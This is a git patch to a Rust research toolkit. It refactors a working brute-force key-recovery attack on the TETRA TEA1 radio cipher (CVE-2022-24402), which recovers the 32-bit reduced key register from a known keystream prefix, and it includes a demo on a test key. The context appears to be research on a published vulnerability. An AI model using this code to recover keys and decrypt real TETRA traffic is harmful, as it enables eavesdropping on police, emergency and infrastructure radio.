From e590d55121f1ec72ce1ab9951908b0101fa38c75 Mon Sep 17 00:00:00 2001
From: Sam Hadow <sam.hadow@proton.me>
Date: Mon, 27 Apr 2026 18:39:02 +0200
Subject: [PATCH] move test in tea1_attack + optimize attack

---
 src/main.rs        | 22 ++--------------
 src/tea1_attack.rs | 62 ++++++++++++++++++++++++----------------------
 2 files changed, 34 insertions(+), 50 deletions(-)

diff --git a/src/main.rs b/src/main.rs
index b350d5a..4ed5558 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -9,11 +9,9 @@ use clap::{Parser, Subcommand};
 
 use lfsr::Lfsr;
 use period::{longest_period_parallel, period_paper};
+use tea1_attack::tea1_attack_example;
 use tea3::Tea3;
 
-use tea1::*;
-use tea1_attack::*;
-
 #[derive(Parser)]
 #[command(name = "tetra-crypto-tools")]
 #[command(about = "LFSR / TEA-3 / TEA-1 test utilities", long_about = None)]
@@ -45,7 +43,7 @@ fn main() {
 
     match cli.command {
         Commands::Lfsr => test_lfsr(),
-        Commands::Tea1 => test_tea1_attack(),
+        Commands::Tea1 => tea1_attack_example(),
         Commands::Tea3 => test_tea3(),
         Commands::Periods => test_periods(),
         Commands::GreatestPeriod => find_greatest_period(),
@@ -61,22 +59,6 @@ fn test_lfsr() {
     }
 }
 
-fn test_tea1_attack() {
-        let key0 = [0x00u8; 10];
-        let reduced0 = init_key_register(&key0); // 0xc24e273b
-        assert_eq!(reduced0, 0xc24e273b);
-
-        let frame0 = 0x1111_1111u32;
-        let ks0 = tea1_keystream(frame0, &key0, 4);
-
-        let recovered0 = recover_tea1_keyreg(frame0, &ks0);
-        assert_eq!(recovered0, Some(reduced0));
-
-        println!("Recovered key successfully (0x{:08x})", recovered0.unwrap());
-        println!("original key               (0x{:08x})", reduced0);
-
-}
-
 fn test_tea3() {
     let key = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
     let state = vec![0; 8];
diff --git a/src/tea1_attack.rs b/src/tea1_attack.rs
index ca00861..8f12b13 100644
--- a/src/tea1_attack.rs
+++ b/src/tea1_attack.rs
@@ -1,20 +1,24 @@
 // tea1_attack.rs
 // Implementation of the Midnight Blue Labs TEA1 attack (CVE-2022-24402)
-use rayon::prelude::*;
 use crate::tea1::*;
+use rayon::prelude::*;
+
+/// Returns true if the candidate key_reg produces the exact known keystream prefix
+/// Early aborts on the first mismatch
+#[inline]
+pub fn keyreg_matches_prefix(frame_number: u32, mut key_reg: u32, known_prefix: &[u8]) -> bool {
+    if known_prefix.is_empty() {
+        return true;
+    }
 
-/// Generates the TEA1 keystream using a candidate 32-bit key register directly
-pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes: usize) -> Vec<u8> {
-    let mut out = vec![0u8; num_bytes];
     let mut iv_reg = expand_iv(frame_number);
     let mut skip_rounds: u32 = 54;
 
-    for byte_out in out.iter_mut() {
+    for &target_byte in known_prefix {
         for _ in 0..skip_rounds {
-            // Step 1: non-linear feedback byte from key register
+            // Step 1: non-linear feedback from key register
             let sbox_idx = (((key_reg >> 24) ^ key_reg) & 0xFF) as usize;
             let sbox_out = TEA1_SBOX[sbox_idx];
-
             key_reg = (key_reg << 8) | (sbox_out as u32);
 
             // Step 2: derive 3 bytes from current state
@@ -30,10 +34,12 @@ pub fn tea1_keystream_with_keyreg(frame_number: u32, mut key_reg: u32, num_bytes
             iv_reg = ((iv_reg << 8) ^ ((mix_byte as u64) << 32)) | (new_byte as u64);
         }
 
-        *byte_out = (iv_reg >> 56) as u8;
+        if (iv_reg >> 56) as u8 != target_byte {
+            return false;
+        }
         skip_rounds = 19;
     }
-    out
+    true
 }
 
 /// Brute-force recovery of the 32-bit effective key register given a frame number and a known keystream prefix
@@ -44,30 +50,26 @@ pub fn recover_tea1_keyreg(frame_number: u32, known_keystream: &[u8]) -> Option<
     }
 
     let check_len = known_keystream.len().min(4);
+    let known_prefix = &known_keystream[0..check_len];
 
-    let mut known_arr = [0u8; 8];
-    known_arr[0..check_len].copy_from_slice(&known_keystream[0..check_len]);
+    (0u32..=u32::MAX).into_par_iter().find_any({
+        let frame_number = frame_number;
 
-    (0u32..=u32::MAX)
-        .into_par_iter()
-        .find_any({
-            let frame_number = frame_number;
-            let known_arr = known_arr;
-            let check_len = check_len;
-
-            move |&candidate| {
-                let ks = tea1_keystream_with_keyreg(frame_number, candidate, check_len);
-                ks.as_slice() == &known_arr[0..check_len]
-            }
-        })
+        move |&candidate| keyreg_matches_prefix(frame_number, candidate, known_prefix)
+    })
 }
 
+pub fn tea1_attack_example() {
+    let key0 = [0x00u8; 10];
+    let reduced0 = init_key_register(&key0); // 0xc24e273b
+    assert_eq!(reduced0, 0xc24e273b);
 
-pub fn decrypt_with_recovered_key(
-    frame_number: u32,
-    ciphertext: &[u8],
-) -> Option<Vec<u8>> {
-    let key_reg = recover_tea1_keyreg(frame_number, ciphertext)?;
-    let keystream = tea1_keystream_with_keyreg(frame_number, key_reg, ciphertext.len());
-    Some(keystream.into_iter().zip(ciphertext).map(|(k, c)| k ^ c).collect())
+    let frame0 = 0x1111_1111u32;
+    let ks0 = tea1_keystream(frame0, &key0, 4);
+
+    let recovered0 = recover_tea1_keyreg(frame0, &ks0);
+    assert_eq!(recovered0, Some(reduced0));
+
+    println!("Recovered key successfully (0x{:08x})", recovered0.unwrap());
+    println!("original key               (0x{:08x})", reduced0);
 }